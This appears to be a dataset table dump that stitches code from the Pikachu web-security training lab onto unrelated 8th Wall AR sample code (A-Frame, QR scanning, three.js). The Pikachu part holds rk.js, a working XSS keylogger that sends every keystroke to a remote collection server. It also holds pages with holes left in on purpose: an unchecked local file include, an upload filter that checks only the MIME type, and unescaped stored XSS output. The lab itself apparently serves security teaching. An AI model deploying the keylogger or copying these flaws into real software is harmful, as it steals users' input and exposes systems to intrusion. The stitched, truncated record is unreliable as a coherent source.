text stringlengths 1 2.83M | id stringlengths 16 152 | metadata dict | __index_level_0__ int64 0 949 |
|---|---|---|---|
<?php
///**
// * Created by runner.han
// * There is nothing new under the sun
// */
if (!isset($PIKA_ROOT_DIR)){
$PIKA_ROOT_DIR = '';
}
//echo $PIKA_ROOT_DIR;
?>
<div class="footer">
<div class="footer-inner">
<div class="footer-content">
<span class="bigger-120">
Pikachu PIKA~ PIKA~© runner.han
</span>
</div>
</div>
</div>
<a href="#" id="btn-scroll-up" class="btn-scroll-up btn btn-sm btn-inverse">
<i class="ace-icon fa fa-angle-double-up icon-only bigger-110"></i>
</a>
</div><!-- /.main-container -->
<!-- basic scripts -->
<!--[if !IE]> -->
<!-- <![endif]-->
<!--[if IE]>
<script src="<?php echo $PIKA_ROOT_DIR;?>assets/js/jquery-1.11.3.min.js"></script>
<![endif]-->
<script type="text/javascript">
if('ontouchstart' in document.documentElement) document.write("<script src='<?php echo $PIKA_ROOT_DIR;?>assets/js/jquery.mobile.custom.min.js'>"+"<"+"/script>");
</script>
<!-- page specific plugin scripts -->
<!--[if lte IE 8]>
<script src="<?php echo $PIKA_ROOT_DIR;?>assets/js/excanvas.min.js"></script>
<![endif]-->
<script src="<?php echo $PIKA_ROOT_DIR;?>assets/js/jquery-ui.custom.min.js"></script>
<script src="<?php echo $PIKA_ROOT_DIR;?>assets/js/jquery.ui.touch-punch.min.js"></script>
<script src="<?php echo $PIKA_ROOT_DIR;?>assets/js/jquery.easypiechart.min.js"></script>
<script src="<?php echo $PIKA_ROOT_DIR;?>assets/js/jquery.sparkline.index.min.js"></script>
<script src="<?php echo $PIKA_ROOT_DIR;?>assets/js/jquery.flot.min.js"></script>
<script src="<?php echo $PIKA_ROOT_DIR;?>assets/js/jquery.flot.pie.min.js"></script>
<script src="<?php echo $PIKA_ROOT_DIR;?>assets/js/jquery.flot.resize.min.js"></script>
<!-- ace scripts -->
<script src="<?php echo $PIKA_ROOT_DIR;?>assets/js/ace-elements.min.js"></script>
<script src="<?php echo $PIKA_ROOT_DIR;?>assets/js/ace.min.js"></script>
<!-- inline scripts related to this page -->
<script>
$(function (){
$("[data-toggle='popover']").popover();
});
</script>
</body>
</html>
| zhuifengshaonianhanlu/pikachu/footer.php/0 | {
"file_path": "zhuifengshaonianhanlu/pikachu/footer.php",
"repo_id": "zhuifengshaonianhanlu",
"token_count": 881
} | 883 |
/**
* Created by runner on 2018/7/8.
*/
function createAjax(){
var request=false;
if(window.XMLHttpRequest){
request=new XMLHttpRequest();
if(request.overrideMimeType){
request.overrideMimeType("text/xml");
}
}else if(window.ActiveXObject){
var versions=['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++){
try{
request=new ActiveXObject(versions[i]);
if(request){
return request;
}
}catch(e){
request=false;
}
}
}
return request;
}
var ajax=null;
var xl="datax=";
function onkeypress() {
var realkey = String.fromCharCode(event.keyCode);
xl+=realkey;
show();
}
document.onkeypress = onkeypress;
function show() {
ajax = createAjax();
ajax.onreadystatechange = function () {
if (ajax.readyState == 4) {
if (ajax.status == 200) {
var data = ajax.responseText;
} else {
alert("页面请求失败");
}
}
}
var postdate = xl;
ajax.open("POST", "http://192.168.1.15/pkxss/rkeypress/rkserver.php",true);
ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
ajax.setRequestHeader("Content-length", postdate.length);
ajax.setRequestHeader("Connection", "close");
ajax.send(postdate);
} | zhuifengshaonianhanlu/pikachu/pkxss/rkeypress/rk.js/0 | {
"file_path": "zhuifengshaonianhanlu/pikachu/pkxss/rkeypress/rk.js",
"repo_id": "zhuifengshaonianhanlu",
"token_count": 812
} | 884 |
<?php
/**
* Created by runner.han
* There is nothing new under the sun
*/
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "fi_local.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','',
'active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR . 'header.php';
$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "include/$filename";//变量传进来直接包含,没做任何的安全限制
// //安全的写法,使用白名单,严格指定包含的文件名
// if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){
// include "include/$filename";
// }
}
?>
<div class="main-content">
<div class="main-content-inner">
<div class="breadcrumbs ace-save-state" id="breadcrumbs">
<ul class="breadcrumb">
<li>
<i class="ace-icon fa fa-home home-icon"></i>
<a href="fileinclude.php">file include</a>
</li>
<li class="active">本地文件包含</li>
</ul><!-- /.breadcrumb -->
<a href="#" style="float:right" data-container="body" data-toggle="popover" data-placement="bottom" title="tips(再点一下关闭)"
data-content="先了解一下include()函数的用法吧">
点一下提示~
</a>
</div>
<div class="page-content">
<div id=fi_main>
<p class="fi_title">which NBA player do you like?</p>
<form method="get">
<select name="filename">
<option value="">--------------</option>
<option value="file1.php">Kobe bryant</option>
<option value="file2.php">Allen Iverson</option>
<option value="file3.php">Kevin Durant</option>
<option value="file4.php">Tracy McGrady</option>
<option value="file5.php">Ray Allen</option>
</select>
<input class="sub" type="submit" name="submit" />
</form>
<?php echo $html;?>
</div>
</div><!-- /.page-content -->
</div>
</div><!-- /.main-content -->
<?php
include_once $PIKA_ROOT_DIR . 'footer.php';
?>
| zhuifengshaonianhanlu/pikachu/vul/fileinclude/fi_local.php/0 | {
"file_path": "zhuifengshaonianhanlu/pikachu/vul/fileinclude/fi_local.php",
"repo_id": "zhuifengshaonianhanlu",
"token_count": 1464
} | 885 |
<?php
/**
* Created by runner.han
* There is nothing new under the sun
*/
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "infoleak.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR.'header.php';
?>
<div class="main-content">
<div class="main-content-inner">
<div class="breadcrumbs ace-save-state" id="breadcrumbs">
<ul class="breadcrumb">
<li>
<i class="ace-icon fa fa-home home-icon"></i>
<a href="infoleak.php">敏感信息泄露</a>
</li>
<li class="active">概述</li>
</ul>
</div>
<div class="page-content">
<div id="vul_info">
<dl>
<dt class="vul_title">敏感信息泄露概述</dt>
<dd class="vul_detail">
由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到。
比如:<br />
---通过访问url下的目录,可以直接列出目录下的文件列表;<br />
---输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息;<br />
---前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等;<br />
</dd>
<dd class="vul_detail">
类似以上这些情况,我们成为敏感信息泄露。敏感信息泄露虽然一直被评为危害比较低的漏洞,但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助,甚至“离谱”的敏感信息泄露也会直接造成严重的损失。
因此,在web应用的开发上,除了要进行安全的代码编写,也需要注意对敏感信息的合理处理。
</dd>
<dd class="vul_detail_1">
你可以通过“i can see your abc”对应的测试栏目,来进一步的了解该漏洞。
</dd>
</dl>
</div>
</div><!-- /.page-content -->
</div>
</div><!-- /.main-content -->
<?php
include_once $PIKA_ROOT_DIR . 'footer.php';
?>
| zhuifengshaonianhanlu/pikachu/vul/infoleak/infoleak.php/0 | {
"file_path": "zhuifengshaonianhanlu/pikachu/vul/infoleak/infoleak.php",
"repo_id": "zhuifengshaonianhanlu",
"token_count": 1788
} | 886 |
<?php
/**
* Created by runner.han
* There is nothing new under the sun
*/
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "sqli_header_login.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','','','','','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../../";
include_once $PIKA_ROOT_DIR . 'header.php';
include_once $PIKA_ROOT_DIR . "inc/config.inc.php";
include_once $PIKA_ROOT_DIR . "inc/function.php";
include_once $PIKA_ROOT_DIR . "inc/mysql.inc.php";
$link=connect();
//var_dump($_SERVER);
$html='';
if(isset($_POST['submit'])){
if($_POST['username']!=null && $_POST['password']!=null){
//转义,防注入
$username=escape($link, $_POST['username']);
$password=escape($link, $_POST['password']);
$query="select * from users where username='$username' and password=md5('$password')";
$result=execute($link, $query);
if(mysqli_num_rows($result)==1){
$data=mysqli_fetch_assoc($result);
setcookie('ant[uname]',$_POST['username'],time()+36000);
setcookie('ant[pw]',sha1(md5($_POST['password'])),time()+36000);
//登录时,生成cookie,10个小时有效期,供其他页面判断
header("location:sqli_header.php");
}else{
$html.=("<p>登录失败,请重新登录</p>");
}
}
}
?>
<div class="main-content">
<div class="main-content-inner">
<div class="breadcrumbs ace-save-state" id="breadcrumbs">
<ul class="breadcrumb">
<li>
<i class="ace-icon fa fa-home home-icon"></i>
<a href="../sqli.php">sqli</a>
</li>
<li class="active">http头注入</li>
</ul><!-- /.breadcrumb -->
<a href="#" style="float:right" data-container="body" data-toggle="popover" data-placement="bottom" title="tips(再点一下关闭)"
data-content="admin/123456">
点一下提示~
</a>
</div>
<div class="page-content">
<div class="sqli_form">
<div class="sqli_form_main">
<h4 class="header blue lighter bigger">
<i class="ace-icon fa fa-coffee green"></i>
Please Enter Your Information
</h4>
<form method="post" action="sqli_header_login.php">
<!-- <fieldset>-->
<label>
<span>
<input type="text" name="username" placeholder="Username" />
<i class="ace-icon fa fa-user"></i>
</span>
</label>
</br>
<label>
<span>
<input type="password" name="password" placeholder="Password" />
<i class="ace-icon fa fa-lock"></i>
</span>
</label>
<div class="space"></div>
<div class="clearfix">
<label><input class="submit" name="submit" type="submit" value="Login" /></label>
</div>
</form>
<?php echo $html;?>
</div><!-- /.widget-main -->
</div><!-- /.widget-body -->
</div><!-- /.page-content -->
</div>
</div><!-- /.main-content -->
<?php
include_once $PIKA_ROOT_DIR . 'footer.php';
?>
| zhuifengshaonianhanlu/pikachu/vul/sqli/sqli_header/sqli_header_login.php/0 | {
"file_path": "zhuifengshaonianhanlu/pikachu/vul/sqli/sqli_header/sqli_header_login.php",
"repo_id": "zhuifengshaonianhanlu",
"token_count": 2103
} | 887 |
<?php
/**
* Created by runner.han
* There is nothing new under the sun
*/
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "clientcheck.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR . 'header.php';
include_once $PIKA_ROOT_DIR.'inc/uploadfunction.php';
$html='';
if(isset($_POST['submit'])){
// var_dump($_FILES);
$mime=array('image/jpg','image/jpeg','image/png');//指定MIME类型,这里只是对MIME类型做了判断。
$save_path='uploads';//指定在当前目录建立一个目录
$upload=upload_sick('uploadfile',$mime,$save_path);//调用函数
if($upload['return']){
$html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['new_path']}</p>";
}else{
$html.="<p class=notice>{$upload['error']}</p>";
}
}
?>
<div class="main-content">
<div class="main-content-inner">
<div class="breadcrumbs ace-save-state" id="breadcrumbs">
<ul class="breadcrumb">
<li>
<i class="ace-icon fa fa-home home-icon"></i>
<a href="upload.php">unsafe upfileupload</a>
</li>
<li class="active">服务端check</li>
</ul><!-- /.breadcrumb -->
<a href="#" style="float:right" data-container="body" data-toggle="popover" data-placement="bottom" title="tips(再点一下关闭)"
data-content="MIME type了解一下">
点一下提示~
</a>
</div>
<div class="page-content">
<div id="usu_main">
<p class="title">这里只允许上传图片,不要乱搞!</p>
<form class="upload" method="post" enctype="multipart/form-data" action="">
<input class="uploadfile" type="file" name="uploadfile" /><br />
<input class="sub" type="submit" name="submit" value="开始上传" />
</form>
<?php
echo $html;//输出了路径,暴露了
?>
</div>
</div><!-- /.page-content -->
</div>
</div><!-- /.main-content -->
<?php
include_once $PIKA_ROOT_DIR . 'footer.php';
?>
| zhuifengshaonianhanlu/pikachu/vul/unsafeupload/servercheck.php/0 | {
"file_path": "zhuifengshaonianhanlu/pikachu/vul/unsafeupload/servercheck.php",
"repo_id": "zhuifengshaonianhanlu",
"token_count": 1405
} | 888 |
<?php
/**
* Created by runner.han
* There is nothing new under the sun
*/
$PIKA_ROOT_DIR = "../../../";
include_once $PIKA_ROOT_DIR.'inc/config.inc.php';
include_once $PIKA_ROOT_DIR.'inc/mysql.inc.php';
include_once $PIKA_ROOT_DIR.'inc/function.php';
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "admin.php"){
$ACTIVE = array('','','','','','','','active open','','','','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
include_once $PIKA_ROOT_DIR.'header.php';
$link=connect();
$is_login_id=check_xss_login($link);
if(!$is_login_id){
header("location:admin_login.php");
}
$state = '你已经成功登录留言板后台,<a href="admin.php?logout=1">退出登陆</a>';
if(isset($_GET['id']) && is_numeric($_GET['id'])){
$id=escape($link, $_GET['id']);
$query="delete from xssblind where id=$id";
execute($link, $query);
}
if(isset($_GET['logout']) && $_GET['logout'] == '1'){
setcookie('ant[uname]','');
setcookie('ant[pw]','');
header("location:admin_login.php");
}
?>
<div class="main-content" xmlns="http://www.w3.org/1999/html">
<div class="main-content-inner">
<div class="breadcrumbs ace-save-state" id="breadcrumbs">
<ul class="breadcrumb">
<li>
<i class="ace-icon fa fa-home home-icon"></i>
<a href="../xss.php">xss</a>
</li>
<li class="active">xss盲打</li>
</ul><!-- /.breadcrumb -->
<a href="#" style="float:right" data-container="body" data-toggle="popover" data-placement="bottom" title="tips(再点一下关闭)"
data-content="被弹了吗?">
点一下提示~
</a>
</div>
<div class="page-content">
<div id="list_blid_con">
<?php echo $state;?>
<h2>用户反馈的意见列表:</h2>
<table class="table table-bordered table-striped">
<tr>
<td>编号</td>
<td>时间</td>
<td>内容</td>
<td>姓名</td>
<td>操作</td>
</tr>
<?php
$query="select * from xssblind";
$result=mysqli_query($link, $query);
while($data=mysqli_fetch_assoc($result)){
$html=<<<A
<tr>
<td>{$data['id']}</td>
<td>{$data['time']}</td>
<td>{$data['content']}</td>
<td>{$data['name']}</td>
<td><a href="admin.php?id={$data['id']}">删除</a></td>
</tr>
A;
echo $html;
}
?>
</table>
</div>
</div><!-- /.page-content -->
</div>
</div><!-- /.main-content -->
<?php
include_once $PIKA_ROOT_DIR.'footer.php';
?>
| zhuifengshaonianhanlu/pikachu/vul/xss/xssblind/admin.php/0 | {
"file_path": "zhuifengshaonianhanlu/pikachu/vul/xss/xssblind/admin.php",
"repo_id": "zhuifengshaonianhanlu",
"token_count": 1827
} | 889 |
.hidden {
display: none;
}
#container {
position: absolute;
max-height: 50vh;
left: 10%;
right: 10%;
bottom: -2vh;
border-radius: 2vh;
padding: 1vh 2vh 3vh;
display: flex;
flex-direction: column;
z-index: 10;
background-color: white;
transition: 0.35s;
}
#container.collapsed {
transform: translateY(10%);
opacity: 0;
pointer-events: none;
}
#contents {
height: 100%;
overflow-y: scroll;
text-align: justify;
font-size: 0.8rem;
flex-grow: 1;
}
#contents h1 {
text-align: left;
}
.outer {
flex: 0 0 auto;
}
#closeButton {
float: right;
padding: 0.25em;
}
| 8thwall/web/examples/aframe/artgallery/index.css/0 | {
"file_path": "8thwall/web/examples/aframe/artgallery/index.css",
"repo_id": "8thwall",
"token_count": 257
} | 0 |
<!doctype html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
<meta name="apple-mobile-web-app-capable" content="yes">
<title>8th Wall Web: Flyer</title>
<script src="//cdn.8thwall.com/web/aframe/8frame-1.3.0.min.js"></script>
<!-- XR Extras - provides utilities like load screen, almost there, and error handling.
See github.com/8thwall/web/tree/master/xrextras -->
<script src="//cdn.8thwall.com/web/xrextras/xrextras.js"></script>
<!-- Landing Pages - see https://www.8thwall.com/docs/web/#landing-pages -->
<script src='//cdn.8thwall.com/web/landing-page/landing-page.js'></script>
<!-- 8thWall Web - Replace the app key here with your own app key -->
<script async src="//apps.8thwall.com/xrweb?appKey=XXXXX"></script>
</head>
<body>
<a-scene
xrextras-gesture-detector
landing-page
xrextras-loading
xrextras-runtime-error
renderer="colorManagement:true"
xrweb="disableWorldTracking: true">
<a-assets>
<!-- Credit to Poly by Google for the model: https://poly.google.com/view/dA5osnS0Rzj -->
<a-asset-item id="jelly-glb" src="jellyfish-model.glb"></a-asset-item>
<img id="jelly-thumb" src="targets/video-target.jpg">
<video
id="jelly-video"
autoplay
muted
crossorigin="anonymous"
loop="true"
src="jellyfish-video.mp4">
</video>
</a-assets>
<a-camera
position="0 4 10"
raycaster="objects: .cantap"
cursor="fuse: false; rayOrigin: mouse;">
</a-camera>
<a-light type="directional" intensity="0.5" position="1 1 1"></a-light>
<a-light type="ambient" intensity="1"></a-light>
<!-- Note: "name:" must be set to the name of the image target uploaded to the 8th Wall Console -->
<xrextras-named-image-target name="video-target">
<a-entity
xrextras-play-video="video: #jelly-video; thumb: #jelly-thumb; canstop: true"
geometry="primitive: plane; height: 1; width: 0.79;"
></a-entity>
</xrextras-named-image-target>
<!-- Note: "name:" must be set to the name of the image target uploaded to the 8th Wall Console -->
<xrextras-named-image-target name="model-target">
<!-- Add a child entity that can be rotated independently of the image target. -->
<a-entity xrextras-one-finger-rotate gltf-model="#jelly-glb"></a-entity>
</xrextras-named-image-target>
</a-scene>
</body>
</html>
| 8thwall/web/examples/aframe/flyer/index.html/0 | {
"file_path": "8thwall/web/examples/aframe/flyer/index.html",
"repo_id": "8thwall",
"token_count": 1014
} | 1 |
{
"short_name": "8th Wall App",
"name": "8th Wall React App",
"icons": [
{
"src": "favicon.ico",
"sizes": "64x64 32x32 24x24 16x16",
"type": "image/x-icon"
},
{
"src": "logo192.png",
"type": "image/png",
"sizes": "192x192"
},
{
"src": "logo512.png",
"type": "image/png",
"sizes": "512x512"
}
],
"start_url": ".",
"display": "standalone",
"theme_color": "#000000",
"background_color": "#ffffff"
}
| 8thwall/web/examples/aframe/reactapp/public/manifest.json/0 | {
"file_path": "8thwall/web/examples/aframe/reactapp/public/manifest.json",
"repo_id": "8thwall",
"token_count": 253
} | 2 |
# 8th Wall Web Examples - AFrame - Toss an object
Tap the screen to toss tomatoes. When they hit the ground, they splat and make a sound.
Shows physics, collision events and sound fx.

[Try the live demo here](https://8thwall.8thwall.app/tossobject-aframe)
### Attribution
Splat sound by [Mike Koenig](http://soundbible.com/642-Splat.html)
Tomato by [Google Poly](https://poly.google.com/view/dmzbb8UisNv)
| 8thwall/web/examples/aframe/tossobject/README.md/0 | {
"file_path": "8thwall/web/examples/aframe/tossobject/README.md",
"repo_id": "8thwall",
"token_count": 162
} | 3 |
<!doctype html>
<html>
<head>
<title>8thWall Web: QR Code</title>
<link href="https://fonts.googleapis.com/css?family=Raleway" rel="stylesheet">
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
<link rel="stylesheet" type="text/css" href="index.css">
<!-- XR Extras - provides utilities like load screen, almost there, and error handling.
See github.com/8thwall/web/tree/master/xrextras -->
<script src="//cdn.8thwall.com/web/xrextras/xrextras.js"></script>
<!-- 8thWall Web - Replace the app key here with your own app key -->
<script async src="//apps.8thwall.com/xrweb?appKey=XXXXXXXX"></script>
<!-- JSQRCode -->
<script src="jsqrcode/src/grid.js"></script>
<script src="jsqrcode/src/version.js"></script>
<script src="jsqrcode/src/detector.js"></script>
<script src="jsqrcode/src/formatinf.js"></script>
<script src="jsqrcode/src/errorlevel.js"></script>
<script src="jsqrcode/src/bitmat.js"></script>
<script src="jsqrcode/src/datablock.js"></script>
<script src="jsqrcode/src/bmparser.js"></script>
<script src="jsqrcode/src/datamask.js"></script>
<script src="jsqrcode/src/rsdecoder.js"></script>
<script src="jsqrcode/src/gf256poly.js"></script>
<script src="jsqrcode/src/gf256.js"></script>
<script src="jsqrcode/src/decoder.js"></script>
<script src="jsqrcode/src/qrcode.js"></script>
<script src="jsqrcode/src/findpat.js"></script>
<script src="jsqrcode/src/alignpat.js"></script>
<script src="jsqrcode/src/databr.js"></script>
<!-- Client code -->
<script defer src="index.js"></script>
</head>
<body>
<canvas id="camerafeed"></canvas>
<canvas id="overlay2d"></canvas>
<div class="cardplace">
<div class="card" id="url"></div>
</div>
</body>
</html>
| 8thwall/web/examples/camerapipeline/qrcode/index.html/0 | {
"file_path": "8thwall/web/examples/camerapipeline/qrcode/index.html",
"repo_id": "8thwall",
"token_count": 763
} | 4 |
/*
Ported to JavaScript by Lazar Laszlo 2011
lazarsoft@gmail.com, www.lazarsoft.info
*/
/*
*
* Copyright 2007 ZXing authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
function GF256Poly(field, coefficients)
{
if (coefficients == null || coefficients.length == 0)
{
throw "System.ArgumentException";
}
this.field = field;
var coefficientsLength = coefficients.length;
if (coefficientsLength > 1 && coefficients[0] == 0)
{
// Leading term must be non-zero for anything except the constant polynomial "0"
var firstNonZero = 1;
while (firstNonZero < coefficientsLength && coefficients[firstNonZero] == 0)
{
firstNonZero++;
}
if (firstNonZero == coefficientsLength)
{
this.coefficients = field.Zero.coefficients;
}
else
{
this.coefficients = new Array(coefficientsLength - firstNonZero);
for(var i=0;i<this.coefficients.length;i++)this.coefficients[i]=0;
//Array.Copy(coefficients, firstNonZero, this.coefficients, 0, this.coefficients.length);
for(var ci=0;ci<this.coefficients.length;ci++)this.coefficients[ci]=coefficients[firstNonZero+ci];
}
}
else
{
this.coefficients = coefficients;
}
this.__defineGetter__("Zero", function()
{
return this.coefficients[0] == 0;
});
this.__defineGetter__("Degree", function()
{
return this.coefficients.length - 1;
});
this.__defineGetter__("Coefficients", function()
{
return this.coefficients;
});
this.getCoefficient=function( degree)
{
return this.coefficients[this.coefficients.length - 1 - degree];
}
this.evaluateAt=function( a)
{
if (a == 0)
{
// Just return the x^0 coefficient
return this.getCoefficient(0);
}
var size = this.coefficients.length;
if (a == 1)
{
// Just the sum of the coefficients
var result = 0;
for (var i = 0; i < size; i++)
{
result = GF256.addOrSubtract(result, this.coefficients[i]);
}
return result;
}
var result2 = this.coefficients[0];
for (var i = 1; i < size; i++)
{
result2 = GF256.addOrSubtract(this.field.multiply(a, result2), this.coefficients[i]);
}
return result2;
}
this.addOrSubtract=function( other)
{
if (this.field != other.field)
{
throw "GF256Polys do not have same GF256 field";
}
if (this.Zero)
{
return other;
}
if (other.Zero)
{
return this;
}
var smallerCoefficients = this.coefficients;
var largerCoefficients = other.coefficients;
if (smallerCoefficients.length > largerCoefficients.length)
{
var temp = smallerCoefficients;
smallerCoefficients = largerCoefficients;
largerCoefficients = temp;
}
var sumDiff = new Array(largerCoefficients.length);
var lengthDiff = largerCoefficients.length - smallerCoefficients.length;
// Copy high-order terms only found in higher-degree polynomial's coefficients
//Array.Copy(largerCoefficients, 0, sumDiff, 0, lengthDiff);
for(var ci=0;ci<lengthDiff;ci++)sumDiff[ci]=largerCoefficients[ci];
for (var i = lengthDiff; i < largerCoefficients.length; i++)
{
sumDiff[i] = GF256.addOrSubtract(smallerCoefficients[i - lengthDiff], largerCoefficients[i]);
}
return new GF256Poly(field, sumDiff);
}
this.multiply1=function( other)
{
if (this.field!=other.field)
{
throw "GF256Polys do not have same GF256 field";
}
if (this.Zero || other.Zero)
{
return this.field.Zero;
}
var aCoefficients = this.coefficients;
var aLength = aCoefficients.length;
var bCoefficients = other.coefficients;
var bLength = bCoefficients.length;
var product = new Array(aLength + bLength - 1);
for (var i = 0; i < aLength; i++)
{
var aCoeff = aCoefficients[i];
for (var j = 0; j < bLength; j++)
{
product[i + j] = GF256.addOrSubtract(product[i + j], this.field.multiply(aCoeff, bCoefficients[j]));
}
}
return new GF256Poly(this.field, product);
}
this.multiply2=function( scalar)
{
if (scalar == 0)
{
return this.field.Zero;
}
if (scalar == 1)
{
return this;
}
var size = this.coefficients.length;
var product = new Array(size);
for (var i = 0; i < size; i++)
{
product[i] = this.field.multiply(this.coefficients[i], scalar);
}
return new GF256Poly(this.field, product);
}
this.multiplyByMonomial=function( degree, coefficient)
{
if (degree < 0)
{
throw "System.ArgumentException";
}
if (coefficient == 0)
{
return this.field.Zero;
}
var size = this.coefficients.length;
var product = new Array(size + degree);
for(var i=0;i<product.length;i++)product[i]=0;
for (var i = 0; i < size; i++)
{
product[i] = this.field.multiply(this.coefficients[i], coefficient);
}
return new GF256Poly(this.field, product);
}
this.divide=function( other)
{
if (this.field!=other.field)
{
throw "GF256Polys do not have same GF256 field";
}
if (other.Zero)
{
throw "Divide by 0";
}
var quotient = this.field.Zero;
var remainder = this;
var denominatorLeadingTerm = other.getCoefficient(other.Degree);
var inverseDenominatorLeadingTerm = this.field.inverse(denominatorLeadingTerm);
while (remainder.Degree >= other.Degree && !remainder.Zero)
{
var degreeDifference = remainder.Degree - other.Degree;
var scale = this.field.multiply(remainder.getCoefficient(remainder.Degree), inverseDenominatorLeadingTerm);
var term = other.multiplyByMonomial(degreeDifference, scale);
var iterationQuotient = this.field.buildMonomial(degreeDifference, scale);
quotient = quotient.addOrSubtract(iterationQuotient);
remainder = remainder.addOrSubtract(term);
}
return new Array(quotient, remainder);
}
} | 8thwall/web/examples/camerapipeline/qrcode/jsqrcode/src/gf256poly.js/0 | {
"file_path": "8thwall/web/examples/camerapipeline/qrcode/jsqrcode/src/gf256poly.js",
"repo_id": "8thwall",
"token_count": 2515
} | 5 |
const customThreejsPipelineModule = () => {
let scene3
let engaged = false
const engage = ({canvas, canvasWidth, canvasHeight, GLctx}) => {
if (engaged) {
return
}
const scene = new window.THREE.Scene()
const camera = new window.THREE.PerspectiveCamera(
60.0, /* initial field of view; will get set based on device info later. */
canvasWidth / canvasHeight,
0.01,
1000.0,
)
scene.add(camera)
const renderer = new window.THREE.WebGLRenderer({
canvas,
context: GLctx,
alpha: false,
antialias: true,
})
renderer.autoClear = false
renderer.setSize(canvasWidth, canvasHeight)
scene3 = {scene, camera, renderer}
engaged = true
}
return {
name: 'customthreejs',
onStart: (args) => engage(args),
onAttach: (args) => engage(args),
onDetach: () => { engaged = false },
onUpdate: ({processCpuResult}) => {
const realitySource = processCpuResult.reality || processCpuResult.facecontroller ||
processCpuResult.handcontroller || processCpuResult.layerscontroller
if (!realitySource) {
return
}
const {rotation, position, intrinsics} = realitySource
const {camera} = scene3
for (let i = 0; i < 16; i++) {
camera.projectionMatrix.elements[i] = intrinsics[i]
}
// Fix for broken raycasting in r103 and higher. Related to:
// https://github.com/mrdoob/three.js/pull/15996
// Note: camera.projectionMatrixInverse wasn't introduced until r96 so check before setting
// the inverse
if (camera.projectionMatrixInverse) {
if (camera.projectionMatrixInverse.invert) {
// THREE 123 preferred version
camera.projectionMatrixInverse.copy(camera.projectionMatrix).invert()
} else {
// Backwards compatible version
camera.projectionMatrixInverse.getInverse(camera.projectionMatrix)
}
}
if (rotation) {
camera.setRotationFromQuaternion(rotation)
}
if (position) {
camera.position.set(position.x, position.y, position.z)
}
},
onCanvasSizeChange: ({canvasWidth, canvasHeight}) => {
if (!engaged) {
return
}
const {renderer} = scene3
renderer.setSize(canvasWidth, canvasHeight)
},
onRender: () => {
const {scene, renderer, camera} = scene3
renderer.clearDepth()
renderer.render(scene, camera)
},
// Get a handle to the xr scene, camera and renderer. Returns:
// {
// scene: The Threejs scene.
// camera: The Threejs main camera.
// renderer: The Threejs renderer.
// }
xrScene: () => {
return scene3
},
}
}
| 8thwall/web/examples/threejs/custom-pipeline-module/customThreejsPipelineModule.js/0 | {
"file_path": "8thwall/web/examples/threejs/custom-pipeline-module/customThreejsPipelineModule.js",
"repo_id": "8thwall",
